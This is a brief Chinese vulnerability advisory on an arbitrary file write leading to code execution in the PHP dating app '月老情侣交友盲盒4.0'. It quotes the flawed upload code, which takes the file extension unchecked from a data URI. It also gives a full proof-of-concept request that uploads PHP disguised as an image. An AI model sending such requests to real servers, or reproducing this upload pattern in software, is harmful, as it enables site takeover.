月老情侣交友盲盒4.0存在任意文件写入漏洞(RCE)

public function upload(){   $data = input('data/a');  $path = [];  foreach ($data as $v){    $res = base64Image($v,"uploads/".date("Y-m-d")."/");    if ($res['code']) {      $path[] = $res['file'];    }  }  foreach ($path as $index => $item) {    $path[$index] = substr($item,strpos($item,'attachment'));  }  echo json_encode(['code'=>1,'data'=>$path]); }

function base64Image($image,$filepath='uploads/img/'){    $imgBase64 = $image;    if (preg_match('/^(data:s*image/(w+);base64,)/',$imgBase64,$res)) {        //获取图片类型        $type = $res[2];        //图片保存路径        $new_file = $filepath;        if (!file_exists($new_file)) {            mkdir($new_file,0755,true);        }        //图片名字        $new_file = $new_file.time().substr(microtime(),-5).rand(000,999).'.'.$type;        if (file_put_contents($new_file,base64_decode(str_replace($res[1],'', $imgBase64)))) {            $msg['code'] = true;            $msg['file'] = $new_file;            $msg['msg'] = 'ok';        } else {            $msg['code'] = false;            $msg['msg'] = 'no';        }        return $msg;    }}

POST /app/upload/upload HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 71Content-Type: application/x-www-form-urlencodedCookie: admin_token=6169XyCZ4aFgkoAJYWPrmlH5uKLQOLMi8CwWeC%2FK; PHPSESSID=8d8cmkasea6mfej4t2b1a27blfHost: 127.0.0.1:81Origin: http://127.0.0.1:81Referer: http://127.0.0.1:81/app/upload/uploadSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1data=data:image/php;base64,YTw/cGhwIHBocGluZm8oKTs/Pg==